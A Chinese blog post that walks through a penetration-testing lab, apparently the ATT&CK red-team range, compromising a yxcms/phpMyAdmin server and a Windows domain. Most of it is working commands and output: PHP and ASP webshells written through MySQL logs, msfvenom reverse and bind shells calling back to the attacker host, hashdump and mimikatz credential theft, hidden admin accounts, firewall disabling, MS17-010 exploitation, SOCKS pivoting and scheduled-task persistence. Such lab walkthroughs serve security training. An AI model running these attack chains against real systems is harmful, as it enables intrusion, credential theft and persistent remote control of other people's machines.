2.3 getshell

在前台模板创建中创建info.php一句换木马

图片

需要知道其路径,大概看了下并没有办法直接读取,这里直接通过网站源码获取了路径

可以访问测试一下解析情况

http://192.168.254.130/yxcms/protected/apps/default/view/default/info.php

直接用蚁剑连接成功:

图片

phpmyadmin后台getshell一般有以下几种方式:

  1. select into outfile 直接写入

select "<?php @eval($_POST[yxcms]);?>" into outfile " C://phpstudy/www/info.php"

图片

无法写入,show global variables like '%secure%'查看变量secure-file-priv 值为NULL,尝试修改,预编译NULL无法修改;

查了下:变量secure-file-priv 这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效

  1. 利用全局日志general_log

  • 查看全局日志

show variables like '%general%'
# % 为SQL语法中的通配符 替代 0 个或多个字符

图片

  • 开启全局日志

set global general_log=on
  • 指定新的日志路径

set global general_log_file='C:/phpstudy/www/yxcms/info1.php'

此时全局日志已经开启并且已经指定为我们能访问的路径:

图片

  • 执行SQL语句以写入日志

select '<?php eval($_POST[yxcms]);?>'

图片

访问日志文件

图片

蚁剑连接

图片

这里可以看下日志文件:

图片

  1. 利用慢查询日志slow_query_log

慢查询日志用来记录在 MySQL 中执行时间超过指定时间的查询语句

🐷MySQL慢查询日志(Slow Query Log) (biancheng.net)

3.1查询慢查询日志目录 
show variables like '%slow%'; 
# show variables like 'slow%'; 
# SHOW VARIABLES LIKE 'slow_query%'
# % 为SQL语法中的通配符 替代 0 个或多个字符
3.2开启慢查询日志功能 
set global slow_query_log=on; 
3.3重新设置日志路径 
set global slow_query_log_file='C:/phpStudy/WWW/info2.php'; 
3.4执行sql命令 
select '<?php eval($_POST[godunt]);?>' from mysql.db where sleep(10);

图片

  1. 利用错误日志

show variables like 'log_error'
set log_error='C:/phpStudy/WWW/info3.php'

图片

图片

变量“log_error”是只读变量

  1. 利用phpmyadmin本身版本漏洞

🐷PhpMyAdmin漏洞利用汇总

靶场版本为3.5.8.2

3 漏洞

3.1 目录遍历漏洞

3.2 存储型XSS

图片

管理员后台审核,实际上这里点击“留言本”就会弹窗

图片

审核后回到用户留言界面。多了如下留言,刷新就会弹窗

图片


4. 信息收集

利用蚁剑的虚拟终端

(*) 基础信息

当前路径: C:/phpStudy/WWW/yxcms

磁盘列表: C:D:

系统信息: Windows NT STU1 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586

当前用户: Administrator

(*) 输入 ashelp 查看本地命令

C:\phpStudy\WWW\yxcms> net user

\STU1 的用户帐户

-------------------------------------------------------------------------------

Administrator      Guest          liukaifeng01

命令成功完成。

C:\phpStudy\WWW\yxcms> whoami

god\administrator

C:\phpStudy\WWW\yxcms> ipconfig -all

Windows IP 配置

主机名 . . . . . . . . . . . . . : stu1

主 DNS 后缀 . . . . . . . . . . . : god.org

节点类型 . . . . . . . . . . . . : 混合

IP 路由已启用 . . . . . . . . . . : 否

WINS 代理已启用 . . . . . . . . . : 否

DNS 后缀搜索列表 . . . . . . . . : god.org

以太网适配器 本地连接 4:

连接特定的 DNS 后缀 . . . . . . . :

描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2

物理地址. . . . . . . . . . . . . : 00-0C-29-44-E8-37

DHCP 已启用 . . . . . . . . . . . : 否

自动配置已启用. . . . . . . . . . : 是

本地链接 IPv6 地址. . . . . . . . : fe80::b4ce:67c1:4816:2fd5%25(首选)

IPv4 地址 . . . . . . . . . . . . : 192.168.254.130(首选)

子网掩码 . . . . . . . . . . . . : 255.255.255.0

默认网关. . . . . . . . . . . . . : 192.168.243.255

DHCPv6 IAID . . . . . . . . . . . : 721423401

DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8

DNS 服务器 . . . . . . . . . . . : fec0:0:0:ffff::1%1

fec0:0:0:ffff::2%1

fec0:0:0:ffff::3%1

TCPIP 上的 NetBIOS . . . . . . . : 已启用

以太网适配器 本地连接:

连接特定的 DNS 后缀 . . . . . . . :

描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection

物理地址. . . . . . . . . . . . . : 00-0C-29-44-E8-2D

DHCP 已启用 . . . . . . . . . . . : 否

自动配置已启用. . . . . . . . . . : 是

本地链接 IPv6 地址. . . . . . . . : fe80::387b:f96b:cf2d:6df2%11(首选)

IPv4 地址 . . . . . . . . . . . . : 192.168.52.143(首选)

子网掩码 . . . . . . . . . . . . : 255.255.255.0

默认网关. . . . . . . . . . . . . : 192.168.52.2

DHCPv6 IAID . . . . . . . . . . . : 234884137

DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8

DNS 服务器 . . . . . . . . . . . : 192.168.52.138

8.8.8.8

TCPIP 上的 NetBIOS . . . . . . . : 已启用

可以观察到,当前用户为Administrator,win7计算机名为STU1 ,且还存在liukaifeng01用户,存在域环境god.org,存在192.168.52.0/24的网段;

  1. 添加用户

net user srn7 P@ssword /add
# 添加用户
net localgroup administrators srn7 /add
# 将用户添加至管理员组
  1. 开启远程3389端口

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

图片

连接失败,应该是防火墙的原因

解决方案:

  • 关闭防火墙

netsh advfirewall set allprofiles state off
  • 防火墙放行3389

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
  • 隧道

为后续方便直接关闭防火墙;

图片

CredSSP加密数据库修正问题

🐷远程桌面连接出现CredSSP的解决方法


5. 主机密码收集

5.1 msf反弹shell

可采用:

  • 生成后门文件上传至目标机器反弹shell

  • 利用其他漏洞获取shell如ms17_010等

生成Windows后门程序(Windows载荷)

msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=7777 -f exe -o shell.exe
# 反向shell

图片

攻击机kali启动监听⭐

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.254.129
set lport 7777
show options
exploit

图片

将刚才生成的shell.exe利用蚁剑上传至目标机器(win7)并运行,会看kali已经得到shell

图片

输入screenshot可截图

meterpreter > screenshot Screenshot saved to: /root/WnKSWETR.jpeg

使用 meterpreter > help 可查看支持哪些命令

background
#返回,把meterpreter后台挂起
sessions -i
#查看已经获取的会话
sessions -i 1
#连接到指定序号的meterpreter会话已继续利用

图片

5.2 提权

meterpreter > getuid
Server username: GOD\Administrator

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

5.3 获取密码

  1. 抓取自动登录的密码

run windows/gather/credentials/windows_autologin
# 抓取自动登录的密码

meterpreter > run windows/gather/credentials/windows_autologin

[] Running against STU1 on session 2 [] The Host STU1 is not configured to have AutoLogon password

#在会话 2 上针对 STU1 运行 #主机 STU1 未配置为具有自动登录密码

  1. 未提权尝试使用此命令查询hashdump

run windows/gather/smart_hashdump
  1. 提权后抓取密码

hashdump
run hashdump

[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

#可能是版本问题2021版kali需要使用run hashdump

图片

也可使用下面这种方法:

run post/windows/gather/smart_hashdump

图片

[!] SESSION 可能与此模块不兼容:

 [!] * 缺少 Meterpreter 功能:stdapi_sys_process_set_term_size 

[] 针对 STU1 运行模块

[] 如果连接,哈希值将保存到数据库中。

 [+] 哈希值将以 JtR 密码文件格式保存在战利品中: 

[] /root/.msf4/loot/20211105144910_default_192.168.254.130_windows.hashes_151319.txt

[] 倾销密码哈希... 

[] 以 SYSTEM 身份运行,从注册表中提取哈希值

[] 获取启动密钥... 

[] 使用 SYSKEY fd4639f4e27c79683ae9fee56b44393f 计算 hboot 密钥...

[] 获取用户列表和密钥... 

[] 解密用户密钥...

[] 转储密码提示...

 [] 在这个系统上没有有密码提示的用户

[] 倾销密码哈希... 

[+] 管理员:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 

[+] liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 

[+] srn7:1001:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::

🐷密码格式

用户名称: RID:LM-HASH 值: NT-HASH 值,rid 是 windows 系统账户对应固定的值,类似于 linux 的 uid,gid 号,500 为 administrator,501 为 guest 等;

LM-Hash和NT-Hash,这是对同一个密码的两种不同的加密方式,可采用MD5解密;

  1. 利用kiwi

load kiwi #加载kiwi扩展
creds_all #获取系统中的明文密码

图片

此环境中并没有得到信息;

🐷

meterpreter > load mimikatz 

[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future. 

[!] The "kiwi" extension has already been loaded.

[!] "mimikatz" 扩展名已被 "kiwi" 取代。 以后请使用这个。

[!] "kiwi" 扩展已经加载。

🐷

关于kiwi:

creds_all:列举所有凭据 

creds_kerberos:列举所有kerberos凭据 

creds_msv:列举所有msv凭据 

creds_ssp:列举所有ssp凭据 

creds_tspkg:列举所有tspkg凭据 

creds_wdigest:列举所有wdigest凭据 

dcsync:通过DCSync检索用户帐户信息 

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据 

kerberos_ticket_list:列举kerberos票据 

kerberos_ticket_purge:清除kerberos票据 

kerberos_ticket_use:使用kerberos票据 

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM 

lsa_dump_secrets:dump出lsa的密文 

password_change:修改密码 

wifi_list:列出当前用户的wifi配置文件 

wifi_list_shared:列出共享wifi配置文件/编码

  1. 在目标机器上传mimikatz抓取密码

shell执行

图片

privilege::debug
 #提升权限
 
sekurlsa::logonpasswords 
#抓取密码

图片

exit可退出mimikatz和shell

6. 内网信息收集

6.1 基本信息查询

ipconfig /all    查询本机IP段,所在域等
net config Workstation    当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user    本机用户列表
net localgroup administrators    本机管理员[通常含有域用户]
net view 查看域信息
net view /domain 查询主域信息
net config workstation 当前的登录域与用户信息
net time /domain 判断主域
nslookup god.org  nslookup 命令直接解析域名服务器
net user /domain 当前域的所有用户
route print  路由信息
net group "domain admins" /domain 域管理员的名字

如遇shell乱码问题可输入chcp 65001缓解部分问题

图片

  1. 补丁信息

run post/windows/gather/enum_patches

  1. 已安装软件

run post/windows/gather/enum_applications

图片

6.2 内网访问可采用socks代理或MSF添加路由

  1. 查看路由信息

run get_local_subnets
# 已经拿下的目标本地路由表(win7),shell网络环境

图片

该处已经包含目标路由信息;

  1. 添加内网路由

可全局指定session添加,也可进入某session后添加

run autoroute -s 192.168.52.0/24
# 给session 添加路由

MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由,直接使用MSF去访问原本不能直接访问的内网资源,只要路由可达了那么就可以使用MSF来进行探测了。

:pig_nose:

meterpreter > run autoroute -h

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] 

[] Usage:   run autoroute [-r] -s subnet -n netmask

[] Examples:

[]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0

[]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0 

[]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay

[]   run autoroute -p                            # Print active routing table 

[]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route

[] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes 

[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module


meterpreter > 运行 autoroute -h

[!] Meterpreter 脚本已弃用。 尝试发布/多/管理/自动路由。 

[!] 示例:运行 post/multi/manage/autoroute OPTION=value [...] 

[] 用法:运行自动路由 [-r] -s 子网 -n 网络掩码

[] 例子: 

[] run autoroute -s 10.1.1.0 -n 255.255.255.0 # 添加路由到 10.10.10.1/255.255.255.0

[] run autoroute -s 10.10.10.1 # 网络掩码默认为 255.255.255.0 

[] run autoroute -s 10.10.10.1/24 # CIDR 表示法也可以

[] run autoroute -p # 打印活动路由表 

[] run autoroute -d -s 10.10.10.1 # 删除 10.10.10.1/255.255.255.0 路由

[] 使用“route”和“ipconfig” Meterpreter 命令来了解可用路由 

[-] 弃用警告:此脚本已被 post/multi/manage/autoroute 模块取代

run autoroute -p 
# 打印活动路由表,此处应该是session的路由信息

图片

失败,不知为啥

图片

说明:4表示session 4,攻击机如果要去访问52网段的资源,其下一跳是session 4

route print
route add 192.168.52.141 255.255.255.0 4

route add 0.0.0.0 0.0.0.0 1
# 添加全网段的路由,这样只要被控机器可达的地址就都可访问

🐷后渗透阶段之基于MSF的路由转发

6.3 arp扫描内网主机

run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

图片

6.4 内网探测

192.168.254.130(win7)中自带了nmap,无需上传了,一般默认安装路径C:\Program Files (x86)\Nmap

nmap --script=vuln 192.168.52.141
# 扫描141存在的漏洞

C:\Windows\System32>cd C:\Program Files (x86)\Nmap cd C:\Program Files (x86)\Nmap

C:\Program Files (x86)\Nmap>nmap --script=vuln 192.168.52.141 

nmap --script=vuln 192.168.52.141 Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-06 14:01 ?D1��������?����?? Nmap scan report for 192.168.52.141 

Host is up (0.00s latency). 

Not shown: 987 closed ports 

PORT     STATE SERVICE 

21/tcp   open  ftp

......

图片

nmap --script=vuln 192.168.52.138

图片

6.4 内网攻击

Metasploit->socks4a⭐

设置过程:

  1. 得到shell

  2. 添加路由

  3. 设置sock4a代理

  4. 设置proxychains

  5. 使用proxychains代理启动其他工具

当前环境:

Kali:192.168.254.129

win7:192.168.254.130/192.168.52.143

win2k3:192.168.52.141

win2k8:192.168.52.138

设置sock4a:

  1. 获取Metpreter后,添加路由,此时该Metpreter已经可达目标网络

  2. 设置sock4a代理,不能关闭msfconsole,目的为创造一条通道,该通道为上述Metpreter回话所在目标网络

SRVHOST 是服务端IP地址,默认是本机所有IP

SRVPORT 是Socks4a监听端口

  1. 此时可设置proxychains为本地ip地址127.0.0.1,端口为socks4a监听端口。启动代理其他工具,从而直接将流量由1080端口通过socks4a代理转发进目标网络;

proxychains msfconsole

图片

这里需要注意,sock协议不支持ping命令(icmp)

sock4a:TELNET,FTP,HTTP等TCP协议;

sock5:TCP与UDP,并支持安全认证方案;


再看看192.168.52.141这台内网机器

proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141

图片

靶机一些服务没有做自启动,所以作者的漏洞列表有一些漏洞无法利用,这里看到445未开启,先手动开启win2003的server服务

图片

图片

看到445端口已经开启,可以探测下系统版本

use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.52.141
run

图片


  1. ms08-067

search ms08-067
use exploit/windows/smb/ms08_067_netapi
set payload
show options
set lhost 192.168.254.129
set lport 5555
set rhosts 192.168.52.141
exploit

图片

未成功;

  1. RPC DCOM服务漏洞

search ms03-026
use exploit/windows/dcerpc/ms03_026_dcom
show options
set rhosts 192.168.52.141
set lhost 192.168.254.129
set lport 7777
exploit

未成功;

  1. MS17-010

kali没有32位的利用模块 下载地址 将下载下来的Eternalblue-Doublepulsar-Metasploit-master的名字改为Eternalblue-Doublepulsar-Metasploit并将改完名后的整个目录复制到root目录下(需要解压2次,把最后一次解压名改为Eternalblue-Doublepulsar-Metasploit 并放到/root目录下

##复制Eternalblue-Doublepulsar-Metasploit下的eternalblue_doublepulsar.rb
root@kali:~/Eternalblue-Doublepulsar-Metasploit# cp eternalblue_doublepulsar.rb
/usr/share/metasploit-framework/modules/exploits/windows/smb
##安装框架
root@kali:~/Eternalblue-Doublepulsar-Metasploit# wine -h
##找不到命令按照以下步骤
root@kali:~/Eternalblue-Doublepulsar-Metasploit# dpkg --add-architecture i386 &&
apt-get update && apt-get install wine32
##重新加载
msf6 > reload_all

参考:

kali linux安装wine32,永恒之蓝msf下 ms17_010

smb(ms17-010)远程命令执行之msf

使用载荷

# search ms17-010
# 注意:有时候搜索ms17-010并不能找到刚才加载的32位载荷
# 需要使用search  eternalblue,因为关键字不含ms17-010
search  eternalblue
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/eternalblue_doublepulsar
set payload
show options
set lhost 192.168.54.129
set lport 5555
set rhosts 192.168.52.141
set target 8
exploit

图片

未成功;

proxychains-sock4a代理下:

图片

仍然未成功;

auxiliary/admin/smb/ms17_010_command 添加一个用户,并加入管理 员组;

search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set COMMAND net user srn7 p@ssword /add
exploit

set COMMAND net localgroup administrators srn7 /add
set COMMAND net localgroup administrators
exploit

图片

图片

利用 exploit/windows/smb/ms17_010_psexec 尝试正向连接

search ms17-010
use exploit/windows/smb/ms17_010_psexec
show options
set rhosts 192.168.52.141
set payload
set lhost 192.168.254.129
set lport 6666
set SMBuser srn7
set SMBpass P@ssword
exploit

图片

未成功;

利用 auxiliary/admin/smb/ms17_010_command 开启3389端口,远程连接桌面

search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set COMMAND wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
exploit

该种方法可能不成功,可尝试如下命令开启3389远程服务(win7、win2k3、winxp;关闭命令把如下0都换成1)

search ms17-010
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
run 

图片

直接在msf里rdesktop 192.168.52.141或者另起终端proxychains rdesktop 192.168.52.141 均可;

参考:

内网渗透常见端口转发方式

ProxyTunnels

Socks4 Proxy Pivoting with Metasploit⭐

记一次小白的第一次内网渗透

ATT&CK实战系列——红队实战(一)⭐⭐⭐

7. 横向移动

7.0 常规

  1. 探测192.168.52.138系统信息

use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.52.138
run

得到为win2008;

  1. 探测端口开放情况

nmap -p 1-1000 -Pn -sT 192.168.52.138

图片

  1. 之前已经测试过存在ms17-010,此时利用ms17-010尝试拿下域控

use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/meterpreter/reverse_tcp 
或者
set payload windows/x64/meterpreter/bind_tcp
set lhsot 192.168.254.129
set lport 4444
set rhosts 192.168.52.138
set rhost 445
run

未成功,可能为防火墙的原因;

7.1 文件读取(2K8-C盘共享传马)

用win7连接域控的c盘共享,选择win7已得到域管理员账号 administrator 。

shell
net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
dir \\192.168.52.138\c$

图片

  1. 定时任务连接shell

这里使用正向shell,不是这个,下面那个

msfconsole
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.254.129 LPORT=8899 -f exe -o shell138.exe
# 生成的是反向shell,reverse_tcp逆转
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.254.129
set lport 7777
show options
exploit
# 监听,等待靶机连过来

🐷

正反向shell:反向 reverse shell 就是通过我们监听,目标肉鸡运行 exe 我们就会收到一个反弹 shell;而正向就是目标肉鸡运行 exe,我们去连接肉鸡。

反向连接木马是攻击机开放端口,靶机连过来; 正向连接木马是靶机开放端口,攻击机连过去;(适用于目标机器不出网)

# 生成正向shell
msfvenom -p windows/shell_hidden_bind_tcp LPORT=8899 AHOST=192.168.52.138 -f exe > bind_shell123.exe
# 把新生成的bind_shell.exe复制到win2008
C:\phpStudy>copy c:\phpstudy\bind_shell.exe \\192.168.52.138\c$
C:\phpStudy>schtasks /Create /sc minute /mo 1 /tn "srn7" /tr "C:\bind_shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"
# 此处需要注意靶机密码可能要重置
# 攻击机连过去
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run

每分钟执行

C:\phpStudy>schtasks /Create /sc minute /mo 1 /tn "srn7" /tr "C:\bind_shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"

定时执行

C:\phpStudy>schtasks /create /tn "srn7" /tr C:\bind_shell.exe /sc once /st 15:43 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"

在windows上 定时执行 Schtasks命令详解(计划任务DOS批处理)

回到kali开启监听,失败...

  1. 已知win2008开启了IIS 7.0,上传asp一句话木马 <%execute request("srn7")%>

C:\phpStudy>copy C:\phpStudy\WWW\1.asp \\192.168.52.138\c$\inetpub\wwwroot
C:\phpStudy>dir \\192.168.52.138\c$\inetpub\wwwroot

关于这一部分我的机器有点抽风

成功的同学,可以在kali上利用proxychains做个代理启动蚁剑连接;

反过来看了下,问题应该是在msf马配错了

此处,应该是正向木马的问题

Hidden Bind Shell: Keep your shellcode hidden from scans  

查看windows/shell_hidden_bind_tcp的参数

图片

尝试各种配置无果......静下心找找资料先

查阅大量资料,发现AHOST应该是代理的地址

侦听来自某个 IP 的连接并生成一个命令外壳。如果连接不是来自 AHOST 中定义的 IP,shellcode 将回复一个 RST 数据包。这样,端口将显示为 “关闭”,帮助我们隐藏 shellcode。

Windows Command Shell, Hidden Bind TCP Inline

Hidden Bind Shell: Keep your shellcode hidden from scans

按照该原理

该木马配置应为如下:

因为是通过代理访问,该种方法只接受AHOST指定的ip的连接请求,所以应该填真实访问到192.168.52.138的ip

msfvenom -p windows/shell_hidden_bind_tcp  AHOST=192.168.52.143 LPORT=9998 rhost=192.168.52.138 -f exe > hidden_shell.exe
# 攻击机连过去
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 9998
run

图片

如上图所示,目标确实接受了连接,但生成的session非常不稳定

nmap查看9998端口开放情况

nmap -sS 192.168.52.138 -PN -p 9998

图片

Filtered(过滤的):由于报文无法到达指定的端口,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文(例如:type为3,code为13(communication administratively prohibit)报文)或者目标主机无应答,常常会将目标主机的状态设置为filtered。

在靶机上查看网络连接状态,9998是开放的

图片

换个命令查看端口,意外发现又可以了

nmap -p 9998 -Pn -sT 192.168.52.138

图片

尝试拿nc连接,得到了目标shell

图片

此时查看网络连接状态

图片

该方法得到的后门程序经常自行结束进程,暂不清楚原因


其他尝试-反弹shell:

思路:通过C盘共享win7向域控2K8上传msf马,设置计划任务使马定时开启,kali开启监听

  1. 生成马

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.143 lport=9999 -f exe -o srn7final.exe
# 这里默认是生成在/root目录下的

  1. win7连接域控C盘

net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
# 输入账号密码
dir \\192.168.52.138\c$
# 测试是否成功

图片

  1. 上传马

  • 上传到win7

upload srn7final.exe
search -f srn7final.exe

图片

  • win7共享给域控

copy c:\phpstudy\srn7final.exe \\192.168.52.138\c$

图片

  1. 设置计划任务启动木马

schtasks /create /tn "test123456" /tr C:\srn7final.exe /sc once /st 14.25 /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"

图片

这里我也不知道成功了没😭

  1. 设置监听

  • 监听win7的9999端口

msfconsole
use exploit/multi/handler
set lhost 192.168.52.143
set lport 9999
run

这里再次没收到shell

但是查看计划任务是运行了的

图片

可能是之前路由掉了,不知道有没有关系🙅‍

run get_local_subnets
#查看目标机器所在内网网端信息与公网网端信息。

run autoroute -s 192.168.52.0/24
# 添加路由,使msf能通过win7路由转发到52段

图片

此时msf即可达52段

ARP扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

图片

这里挂一下sock4a代理。使其他工具也能通过win7访问到52段

配置msf代理:

use auxiliary/server/socks_proxy
set version 4a
set srvport 1080
show options
run

图片

jobs可以查看当前代理任务

图片

使用其他工具时需要在命令前加proxychains,如下:

proxychains nmap -Pn -sT 192.168.52.141

图片

这里又提了次权,系统权限

meterpreter > getuid
Server username: GOD\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

设置计划任务每分钟执行

schtasks /Create /sc minute /mo 1 /tn "srn7123" /tr "C:\srn7final.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@2021"

图片

图片

成功拿到shell,执行命令有点卡

图片

此时可以在任务管理器-显示所有用户的进程-在用户SYSTEM下发现该后门进程

图片


三省吾身:本文记录的仅为多种渗透途径中的一部分,过几天会补一个CS的,其中也踩了一些坑,也有一些方法使用的可能不是很到位,希望各位师傅轻pen,欢迎交流!

  • 10
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ATT&CK红队评估实战靶场四是一个实战训练场景,其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似,你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时,可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表,并使用routeadd命令添加相应的路由。此外,可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估红日靶场四)](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值